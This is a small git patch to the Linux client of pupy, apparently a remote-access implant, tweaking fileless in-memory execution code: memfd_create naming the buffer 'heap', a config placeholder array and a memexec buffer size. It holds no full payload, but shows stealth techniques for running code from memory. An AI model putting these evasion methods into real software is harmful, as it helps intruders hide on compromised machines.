From b1f285ef84fef27f13bc5f67bb15f3f78996ffb8 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Wed, 5 Apr 2017 10:58:06 +0300 Subject: [PATCH] oooops --- client/sources-linux/memfd.h | 13 +++---------- client/sources-linux/pupy.c | 2 +- client/sources-linux/tmplibrary.c | 2 +- 3 files changed, 5 insertions(+), 12 deletions(-) diff --git a/client/sources-linux/memfd.h b/client/sources-linux/memfd.h index 5b3715c1..246efc0c 100644 --- a/client/sources-linux/memfd.h +++ b/client/sources-linux/memfd.h @@ -30,18 +30,11 @@ inline static int pupy_memfd_create(char *path, unsigned int path_size) { #ifndef DEBUG - static const char heap[] = "heap"; + memset(path, 0x0, path_size); + strncpy(path, "heap", path_size); #endif - int fd = syscall( - __NR_memfd_create, -#ifdef DEBUG - path, -#else - heap, -#endif - MFD_CLOEXEC | MFD_ALLOW_SEALING - ); + int fd = syscall(__NR_memfd_create, path, MFD_CLOEXEC | MFD_ALLOW_SEALING); if (fd == -1) { return -1; diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index c53fda86..8ba214af 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -22,7 +22,7 @@ int linux_inject_main(int argc, char **argv); static const char module_doc[] = "Builtins utilities for pupy"; -static const char pupy_config[32764]="####---PUPY_CONFIG_COMES_HERE---####\n"; +static const char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n"; static PyObject *ExecError; diff --git a/client/sources-linux/tmplibrary.c b/client/sources-linux/tmplibrary.c index e360f524..739330ad 100644 --- a/client/sources-linux/tmplibrary.c +++ b/client/sources-linux/tmplibrary.c @@ -172,7 +172,7 @@ pid_t memexec(const char *buffer, size_t size, const char* const* argv, int stdi dprint("memexec(%p, %ull, %d)\n", buffer, size, redirected_stdio); char buf[PATH_MAX]={}; - int fd = drop_library(buf, PATH_MAX, buffer, size); + int fd = drop_library(buf, sizeof(buf), buffer, size); if (fd < 0) { dprint("Couldn't drop executable: %m\n"); return -1;